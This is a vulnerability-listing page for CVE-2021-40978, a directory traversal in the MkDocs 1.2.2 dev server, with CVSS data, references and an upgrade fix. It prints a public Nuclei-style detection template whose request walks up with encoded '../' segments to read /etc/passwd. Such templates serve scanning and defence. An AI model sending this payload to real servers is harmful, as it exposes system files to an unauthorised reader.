CVE-2021-40978: MKdocs 1.2.2 - Directory Traversal

日期: 2025-08-01 | 影响软件: MKdocs | POC: 已公开

漏洞描述

The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.

PoC代码[已公开]

id: CVE-2021-40978

info:
  name: MKdocs 1.2.2 - Directory Traversal
  author: pikpikcu
  severity: high
  description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
  impact: |
    An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.
  reference:
    - https://github.com/mkdocs/mkdocs/pull/2604
    - https://github.com/nisdn/CVE-2021-40978
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40978
    - https://github.com/mkdocs/mkdocs
    - https://github.com/mkdocs/mkdocs/issues/2601
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40978
    cwe-id: CWE-22
    epss-score: 0.84812
    epss-percentile: 0.99294
    cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mkdocs
    product: mkdocs
  tags: cve2021,cve,mkdocs,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402207bed5198428ea7b3bee3a9011a0b221de1eac3ecbf62b54726c54c0e28a73f0102200aeaba211c9d920567f75b8fab1fcb86f2525391ec6b99e486ac4213968bdf83:922c64590222798bb761d5b6d8e72950

相关漏洞推荐